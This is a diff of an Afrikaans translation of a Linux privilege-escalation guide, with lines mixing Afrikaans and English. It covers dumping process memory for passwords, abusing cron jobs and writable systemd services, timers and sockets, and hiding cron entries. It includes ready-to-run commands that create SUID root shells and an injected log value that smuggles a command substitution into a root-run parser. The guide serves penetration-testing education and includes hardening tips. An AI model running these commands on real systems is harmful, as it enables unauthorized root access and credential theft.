(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### Geïnstalleerde kwesbare sagteware
-Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om verhoogde bevoegdhede te verkry…\
-Dit word aanbeveel om handmatig die weergawes van die meer verdagte geïnstalleerde sagteware na te gaan.
+Kontroleer die **weergawe van die geïnstalleerde pakkette en dienste**. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat misbruik kan word om escalating privileges te verkry…\
+Dit word aanbeveel om die weergawes van die meer verdagte geïnstalleerde sagteware handmatig na te gaan.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
-As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk of daar verouderde en kwesbare sagteware op die masjien geïnstalleer is.
+As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk vir verouderde en kwesbare sagteware wat in die masjien geïnstalleer is.
-> [!NOTE] > _Let wel dat hierdie opdragte baie inligting sal vertoon wat meestal nutteloos sal wees, daarom word toepassings soos OpenVAS of soortgelykes aanbeveel wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_
+> [!NOTE] > _Let wel dat hierdie opdragte baie inligting sal wys wat meestal nutteloos sal wees, daarom word toepassings soos OpenVAS of soortgelyks aanbeveel wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits_
## Prosesse
-Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte as wat dit behoort te hê** het (miskien 'n tomcat wat deur root uitgevoer word?)
+Kyk na **watter prosesse** uitgevoer word en kontroleer of enige proses **meer voorregte het as wat dit behoort te hê** (miskien 'n tomcat wat deur root uitgevoer word?)
```bash
ps aux
ps -ef
top -n 1
```
-Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** identifiseer dit deur die `--inspect` parameter in die proses se command line na te gaan.\
-Kontroleer ook **jou privileges oor die proses se binaries**, dalk kan jy iemand oorskryf.
+Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
+Ook **kontroleer jou voorregte oor die prosesse se binaries**, dalk kan jy iemand se binaries oorskryf.
### Process monitoring
-Jy kan gereedskap soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat dikwels uitgevoer word of wanneer 'n stel vereistes vervul is.
+Jy kan hulpmiddels soos [**pspy**](https://github.com/DominicBreuker/pspy) gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is.
### Process memory
-Sommige dienste op 'n server stoor **credentials in clear text inside the memory**.\
-Normaalweg het jy **root privileges** nodig om die geheue van prosesse wat aan ander users behoort te lees; daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\
-Onthou egter dat **as 'n gewone user jy die geheue van die prosesse wat jy besit kan lees**.
+Sommige dienste op 'n bediener stoor **credentials in clear text inside the memory**.\
+Gewoonlik het jy **root privileges** nodig om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer credentials wil ontdek.\
+Onthou egter dat **as 'n gewone gebruiker jy die geheue van die prosesse wat jy besit kan lees**.
> [!WARNING]
-> Neem kennis dat deesdae die meeste masjiene **ptrace nie standaard toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou onprivileged user behoort kan dump nie.
+> Let daarop dat deesdae die meeste masjiene **ptrace nie standaard toelaat nie**, wat beteken dat jy nie ander prosesse wat aan jou onbevoorregte gebruiker behoort kan dump nie.
>
-> Die file _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace:
+> Die lêer _**/proc/sys/kernel/yama/ptrace_scope**_ beheer die toeganklikheid van ptrace:
>
-> - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke wyse waarop ptracing gewerk het.
-> - **kernel.yama.ptrace_scope = 1**: slegs 'n parent process kan gedebug word.
+> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
+> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged.
> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
-> - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getrace word nie. Sodra dit gestel is, is 'n reboot nodig om ptracing weer te aktiveer.
+> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
#### GDB
-As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy credentials soek.
+As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en in sy credentials soek.
```bash
gdb -p
(gdb) info proc mappings
@@ -202,7 +203,7 @@ gdb -p
(gdb) q
strings /tmp/mem_ftp #User and password
```
-#### GDB Skrip
+#### GDB Script
```bash:dump-memory.sh
#!/bin/bash
#./dump-memory.sh
@@ -215,7 +216,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Vir 'n gegewe proses-ID, **maps show how memory is mapped within that process's** virtuele adresruimte; dit wys ook die **permissions of each mapped region**. Die **mem** pseudo-lêer **exposes the processes memory itself**. Uit die **maps**-lêer weet ons watter **memory regions are readable** is en hul offsets. Ons gebruik hierdie inligting om **seek into the mem file and dump all readable regions** na 'n lêer.
+Vir 'n gegewe proses-ID, **maps toon hoe geheue binne daardie proses se** virtuele adresruimte toegeken is; dit wys ook die **toestemmings van elke gekarteerde streek**. Die **mem** pseudo-lêer **blootstel die proses se geheue self**. Uit die **maps** file weet ons watter **geheuegebiede leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem file te seek en alle leesbare gebiede te dump** na 'n lêer.
```bash
procdump()
(
@@ -230,14 +231,14 @@ rm $1*.bin
```
#### /dev/mem
-`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem benader word.\
-Tipies is `/dev/mem` slegs leesbaar deur **root** en die kmem groep.
+`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan benader word met behulp van /dev/kmem.\
+Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep.
```
strings /dev/mem -n10 | grep -i PASS
```
### ProcDump vir linux
-ProcDump is 'n herontwerp vir Linux van die klassieke ProcDump-instrument uit die Sysinternals-suite van instrumente vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
+ProcDump is 'n Linux-herontwerp van die klassieke ProcDump tool uit die Sysinternals-suite vir Windows. Kry dit by [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@@ -266,33 +267,33 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Gereedskap
-Om 'n proses se geheue te dump kan jy die volgende gebruik:
+Om 'n prosesgeheue te dump, kan jy gebruik:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
-- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root-vereistes verwyder en die proses wat aan jou behoort dump
-- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis)
+- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig root vereistes verwyder en die proses wat aan jou behoort dump
+- Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root word vereis)
-### Kredensiële vanaf prosesgeheue
+### Kredensiale uit prosesgeheue
-#### Handmatig voorbeeld
+#### Manuele voorbeeld
-Indien jy vind dat die authenticator proses aan die gang is:
+As jy vind dat die authenticator-proses aan die loop is:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-Jy kan die proses dump (sien vorige afdelings om verskillende maniere te vind om die geheue van 'n proses te dump) en in die geheue vir credentials soek:
+Jy kan die process dump (sien vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en in die memory na credentials soek:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
-Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **steal clear text credentials from memory** en van sommige **welbekende lêers**. Dit vereis root privileges om behoorlik te werk.
+Die tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike-tekst inlogbewyse uit die geheue steel** en uit sommige **bekende lêers**. Dit vereis root-bevoegdhede om behoorlik te werk.
-| Funksie | Proses Naam |
+| Funksie | Prosesnaam |
| ------------------------------------------------- | -------------------- |
-| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
+| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
@@ -313,23 +314,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
-## Geskeduleerde/Cron-take
+## Geskeduleerde/Cron jobs
-### Crontab UI (alseambusher) wat as root uitgevoer word – webgebaseerde scheduler privesc
+### Crontab UI (alseambusher) wat as root loop – web-based scheduler privesc
-Indien 'n web “Crontab UI” paneel (alseambusher/crontab-ui) as root uitgevoer word en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en 'n geprivilegieerde taak skep om privilegies te eskaleer.
+As 'n web "Crontab UI" paneel (alseambusher/crontab-ui) as root loop en slegs aan loopback gebind is, kan jy dit steeds via SSH local port-forwarding bereik en 'n bevoorregte taak skep om privilegieë te eskaleer.
Tipiese ketting
-- Ontdek 'n poort wat slegs op loopback beskikbaar is (bv. 127.0.0.1:8000) en die Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000`
-- Vind credentials in operasionele artifacts:
-- Backups/scripts met `zip -P `
+- Ontdek 'n slegs-loopback-poort (bv., 127.0.0.1:8000) en Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000`
+- Vind inlogbewyse in operasionele artefakte:
+- Rugsteun-/skrip-lêers met `zip -P `
- systemd unit wat `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` blootstel
-- Tunnel en login:
+- Tunnel en aanmelding:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
```
-- Skep 'n high-priv job en voer dit onmiddellik uit (laat SUID shell val):
+- Skep 'n high-priv job en voer dit onmiddellik uit (gee 'n SUID shell):
```bash
# Name: escalate
# Command:
@@ -340,14 +341,14 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
/tmp/rootshell -p # root shell
```
Verharding
-- Moet nie Crontab UI as root laat loop nie; beperk dit tot 'n toegewyde gebruiker met minimale regte
-- Bind aan localhost en beperk verder toegang via firewall/VPN; moenie wagwoorde hergebruik nie
-- Vermy om secrets in unit files in te sluit; gebruik secret stores of 'n root-only EnvironmentFile
-- Skakel audit/logging aan vir on-demand job-uitvoerings
+- Moenie Crontab UI as root laat loop nie; beperk dit tot 'n toegewyde gebruiker met minimale permissies
+- Bind to localhost en beperk toegang bykomend via firewall/VPN; moenie wagwoorde hergebruik nie
+- Moenie secrets in unit files insluit nie; gebruik secret stores of 'n root-only EnvironmentFile
+- Skakel audit/logging in vir on-demand job executions
-Kontroleer of enige geskeduleerde job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die gids wat root gebruik?).
+Kontroleer of enige geskeduleerde job kwesbaar is. Miskien kan jy voordeel trek uit 'n script wat deur root uitgevoer word (wildcard vuln? kan jy lêers wat root gebruik wysig? gebruik symlinks? skep spesifieke lêers in die directory wat root gebruik?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@@ -357,9 +358,10 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
Byvoorbeeld, binne _/etc/crontab_ kan jy die PATH vind: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
-(_Let daarop dat die gebruiker "user" skryfregte het oor /home/user_)
+(_Let op hoe die gebruiker "user" skryfregte oor /home/user het_)
+
+As binne hierdie crontab die root-gebruiker probeer om 'n opdrag of skrip uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\
-As binne hierdie crontab die root user probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\
Dan kan jy 'n root shell kry deur te gebruik:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
@@ -368,11 +370,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection)
-As 'n script wat deur root uitgevoer word 'n “**\***” in 'n opdrag het, kan jy dit uitbuit om onverwagte dinge te doen (soos privesc). Voorbeeld:
+As 'n script deur root uitgevoer word en 'n “**\***” in 'n kommando voorkom, kan jy dit uitbuit om onvoorsiene dinge te laat gebeur (soos privesc). Voorbeeld:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
-**As die wildcard voorafgaan word deur 'n pad soos** _**/some/path/***_ **, is dit nie kwesbaar nie (selfs** _**./***_ **is nie).**
+**As die wildcard voorafgegaan word deur 'n pad soos** _**/some/path/\***_ **, is dit nie kwesbaar nie (selfs** _**./\***_ **nie).**
Lees die volgende bladsy vir meer wildcard exploitation tricks:
@@ -384,9 +386,9 @@ wildcards-spare-tricks.md
### Bash arithmetic expansion injection in cron log parsers
-Bash voer parameter/variable expansion en command substitution uit voordat arithmetic evaluation in ((...)), $((...)) en let plaasvind. As 'n root cron/parser onbetroubare log-velde lees en dit in 'n arithmetic context invoer, kan 'n aanvaller 'n command substitution $(...) injekteer wat as root uitgevoer word wanneer die cron loop.
+Bash voer parameter expansion en command substitution uit voordat arithmetic evaluation in ((...)), $((...)) and let plaasvind. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.
-- Waarom dit werk: In Bash gebeur expansions in hierdie volgorde: parameter/variable expansion, command substitution, arithmetic expansion, dan word splitting en pathname expansion. Dus word 'n waarde soos `$(/bin/bash -c 'id > /tmp/pwn')0` eers vervang (die kommando word uitgevoer), daarna word die oorblywende numeriese `0` vir die arithmetic gebruik sodat die skrip sonder foute voortgaan.
+- Hoekom dit werk: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
- Tipiese kwesbare patroon:
```bash
@@ -398,7 +400,7 @@ while IFS=',' read -r ts user count rest; do
done < /var/www/app/log/application.log
```
-- Uitbuiting: Kry aanvaller-beheerde teks in die geparsde log geskryf sodat die nomer-agtige veld 'n command substitution bevat en op 'n syfer eindig. Verseker dat jou kommando nie na stdout skryf nie (of herlei dit) sodat die arithmetic geldig bly.
+- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
```bash
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
@@ -407,117 +409,115 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
### Cron script overwriting and symlink
-As jy 'n cron script wat deur root uitgevoer word kan wysig, kan jy baie maklik 'n shell kry:
+Indien jy **can modify a cron script** executed by root, kan jy baie maklik 'n shell kry:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-As die script wat deur root uitgevoer word 'n directory gebruik waarop jy full access het, kan dit dalk nuttig wees om daardie folder te delete en 'n symlink-folder te skep na 'n ander een wat 'n script bedien wat deur jou beheer word.
+As die script wat deur root uitgevoer word 'n **gids waarop jy volle toegang het** gebruik, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **symlink-gids na 'n ander een te skep** wat 'n script wat deur jou beheer word uitvoer
```bash
ln -d -s
```
### Gereelde cron jobs
-Jy kan die prosesse moniteer om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daar voordeel uithaal en escalate privileges.
+Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en privilege escalation uitvoer.
-Byvoorbeeld, om **moniteer elke 0.1s gedurende 1 minuut**, **sorteer op die minste uitgevoerde opdragte** en verwyder die opdragte wat die meeste uitgevoer is, kan jy dit doen:
+Byvoorbeeld, om **elke 0.1s vir 1 minuut te monitor**, **sorteer volgens min uitgevoerde opdragte** en die opdragte wat die meeste uitgevoer is te verwyder, kan jy:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**Jy kan ook gebruik** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin monitor en lys).
+**Jy kan ook gebruik maak van** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dit sal elke proses wat begin monitor en lys).
### Onsigbare cron jobs
-Dit is moontlik om 'n cronjob **deur 'n carriage return na 'n kommentaar te plaas** (sonder newline character), en die cron job sal werk. Voorbeeld (let op die carriage return char):
+Dit is moontlik om 'n cronjob te skep **deur 'n carriage return na 'n kommentaar te plaas** (sonder newline-karakter), en die cronjob sal werk. Voorbeeld (let op die carriage return char):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
## Dienste
-### Skryfbare _.service_ lêers
+### Skryfbare _.service_ files
-Kontroleer of jy enige `.service` lêer kan skryf, as jy dit kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer** wanneer die diens **begin**, **herbegin** of **gestop** word (miskien sal jy moet wag totdat die masjien herbegin word).\
-Byvoorbeeld skep jou backdoor binne die .service-lêer met **`ExecStart=/tmp/script.sh`**
+Kyk of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **backdoor** **uitvoer wanneer** die diens **begin**, **herbegin** of **gestop** word (jy sal moontlik moet wag totdat die masjien herbegin word).\
+Byvoorbeeld, skep jou backdoor binne die `.service` lêer met **`ExecStart=/tmp/script.sh`**
-### Skryfbare service-binaries
+### Skryfbare diens-uitvoerbare lêers
-Hou in gedagte dat as jy **skryfregte oor binaries wat deur services uitgevoer word** het, jy hulle kan verander vir backdoors sodat wanneer die services weer uitgevoer word, die backdoors uitgevoer sal word.
+Hou in gedagte dat as jy **skryfregte oor uitvoerbare lêers wat deur dienste uitgevoer word** het, jy hulle kan verander om backdoors in te sit, sodat wanneer die dienste weer uitgevoer word, die backdoors ook uitgevoer sal word.
-### systemd PATH - Relative Paths
+### systemd PATH - Relatiewe paaie
Jy kan die PATH wat deur **systemd** gebruik word sien met:
```bash
systemctl show-environment
```
-Indien jy vind dat jy in enige van die gidsers van die pad kan **write**, mag jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relative paths being used on service configurations** lêers soos:
+Indien jy uitvind dat jy in enige van die vouers van die pad kan **skryf**, mag jy dalk in staat wees om **escalate privileges**. Jy moet soek na **relatiewe paaie wat in service-konfigurasielêers gebruik word**, soos:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-Skep dan 'n **executable** met dieselfde naam as die relatiewe pad binary binne die systemd PATH-gids wat jy kan skryf, en wanneer die service gevra word om die kwesbare aksie (**Start**, **Stop**, **Reload**) uit te voer, sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie dienste begin/stop nie maar kyk of jy `sudo -l` kan gebruik).
+Skep dan 'n **executable** met die **same name as the relative path binary** binne die systemd PATH-lêergids waarvoor jy skryfregte het, en wanneer die service gevra word om die kwesbare aksie uit te voer (**Start**, **Stop**, **Reload**), sal jou **backdoor** uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie diensse begin/stop nie, maar kyk of jy `sudo -l` kan gebruik).
-**Leer meer oor services met `man systemd.service`.**
+**Leer meer oor dienste met `man systemd.service`.**
## **Timers**
-**Timers** are systemd-eenheidlêers waarvan die naam eindig in `**.timer**` wat `**.service**`-lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender-tydgebeure en monotoniese tydgebeure en asynchroon uitgevoer kan word.
+**Timers** is systemd unit-lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning vir kalender-tydgebeurtenisse en monotonic time events het en asynchroon uitgevoer kan word.
-Jy kan al die timers opnoem met:
+Jy kan alle timers opnoem met:
```bash
systemctl list-timers --all
```
### Skryfbare timers
-As jy 'n timer kan wysig, kan jy dit dwing om sekere systemd.unit-eenhede uit te voer (soos 'n `.service` of 'n `.target`).
+As jy 'n timer kan wysig, kan jy dit laat uitvoer om sekere bestaande systemd.unit-eenhede (soos 'n `.service` of 'n `.target`) aan te roep.
```bash
Unit=backdoor.service
```
-In die dokumentasie kan jy lees wat die Unit is:
+> Die unit wat geaktiveer moet word wanneer hierdie timer verstryk. Die argument is 'n unit-naam, waarvan die agtervoegsel nie ".timer" is nie. Indien nie gespesifiseer nie, val hierdie waarde terug op 'n service wat dieselfde naam as die timer-unit het, behalwe vir die agtervoegsel. (Sien hierbo.) Dit word aanbeveel dat die unit-naam wat geaktiveer word en die unit-naam van die timer-unit identies benoem is, behalwe vir die agtervoegsel.
-> Die Unit wat geaktiveer word wanneer hierdie timer verstryk. Die argument is 'n unit name, waarvan die suffix nie ".timer" is nie. As dit nie gespesifiseer is nie, gaan hierdie waarde standaard na 'n service wat dieselfde naam as die timer unit het, behalwe vir die suffix. (Sien hierbo.) Dit word aanbeveel dat die unit name wat geaktiveer word en die unit name van die timer unit identies genoem word, behalwe vir die suffix.
+Dus, om hierdie toestemming te misbruik sal jy nodig hê om:
-Dus, om hierdie toestemming te misbruik sal jy moet:
-
-- Vind some systemd unit (like a `.service`) wat **'n skryfbare binaire uitvoer**
-- Vind some systemd unit wat **'n relatiewe pad uitvoer** en jy het **skryfbevoegdhede** oor die **systemd PATH** (om as daardie uitvoerbare lêer op te tree)
+- Vind 'n systemd unit (soos 'n `.service`) wat **'n skryfbare binêre** uitvoer
+- Vind 'n systemd unit wat **'n relatiewe pad uitvoer** en jy het **skryfregte** oor die **systemd PATH** (om daardie executable te imiteer)
**Leer meer oor timers met `man systemd.timer`.**
-### **Timer aktivering**
+### **Timer inskakeling**
-Om 'n timer te aktiveer benodig jy root-regte en moet jy die volgende uitvoer:
+Om 'n timer in te skakel benodig jy root-regte en om die volgende uit te voer:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
-Let wel: die **timer** word **geaktiveer** deur 'n symlink daarna te skep op `/etc/systemd/system/.wants/.timer`
+Neem kennis dat die **timer** geaktiveer word deur 'n symlink daarna te skep op `/etc/systemd/system/.wants/.timer`
## Sockets
-Unix Domain Sockets (UDS) stel in staat **proseskommunikasie** op dieselfde of verskillende masjiene binne client-server modelle. Hulle gebruik standaard Unix-deskriptorlêers vir kommunikasie tussen rekenaars en word opgestel deur `.socket`-lêers.
+Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle gebruik standaard Unix-deskriptorlêers vir inter-rekenaar kommunikasie en word opgestel deur `.socket` lêers.
-Sockets kan gekonfigureer word met behulp van `.socket`-lêers.
+Sockets kan geconfigureer word met behulp van `.socket` lêers.
-**Lees meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word:
+**Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameter gekonfigureer word:
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om te **aandui waar dit gaan luister** na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
-- `Accept`: Neem 'n boolean-argument. As **true**, **word 'n service instance geskep vir elke inkomende verbinding** en slegs die verbindings-socket word daaraan deurgegee. As **false**, word al die luisterende sockets self **aan die gestarte service unit oorgedra**, en slegs een service unit word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele service unit onvoorwaardelik alle inkomende verkeer hanteer. **Standaard: false**. Om prestasierede word aanbeveel om nuwe daemons slegs so te skryf dat hulle geskik is vir `Accept=no`.
-- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat onderskeidelik **uitgevoer word voordat** of **nadat** die luisterende **sockets**/FIFOs geskep en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
-- `ExecStopPre`, `ExecStopPost`: Addisionele **opdragte** wat onderskeidelik **uitgevoer word voordat** of **nadat** die luisterende **sockets**/FIFOs gesluit en verwyder word.
-- `Service`: Spesifiseer die **service** unit naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit staan standaard op die diens wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om te **aandui waar dit na die socket gaan luister** (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
+- `Accept`: Neem 'n boolean-argument. As **true**, word 'n **service instance vir elke inkomende verbinding geskep** en slegs die verbindings-socket aan dit deurgegee. As **false**, word al die luister-sockets self **aan die gestarte service unit deurgegee**, en slegs een service unit word geskep vir alle verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard: false**. Vir prestasie-redes word dit aanbeveel om nuwe daemons slegs te skryf op 'n wyse wat geskik is vir `Accept=no`.
+- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls, wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs **geskep** en gebind word. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
+- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voordat** of **nadat** die luister-**sockets**/FIFOs **gesluit** en verwyder word.
+- `Service`: Spesifiseer die **service** unit-naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met `Accept=no`. Dit is standaard die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.
-### Skryfbare .socket-lêers
+### Writable .socket files
-As jy 'n **skryfbare** `.socket`-lêer vind, kan jy aan die begin van die `[Socket]`-afdeling iets soos toevoeg: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\
-_Note that the system must be using that socket file configuration or the backdoor won't be executed_
+As jy 'n **skryfbare** `.socket` lêer vind, kan jy aan die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` byvoeg en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag tot die masjien herbegin is.**\
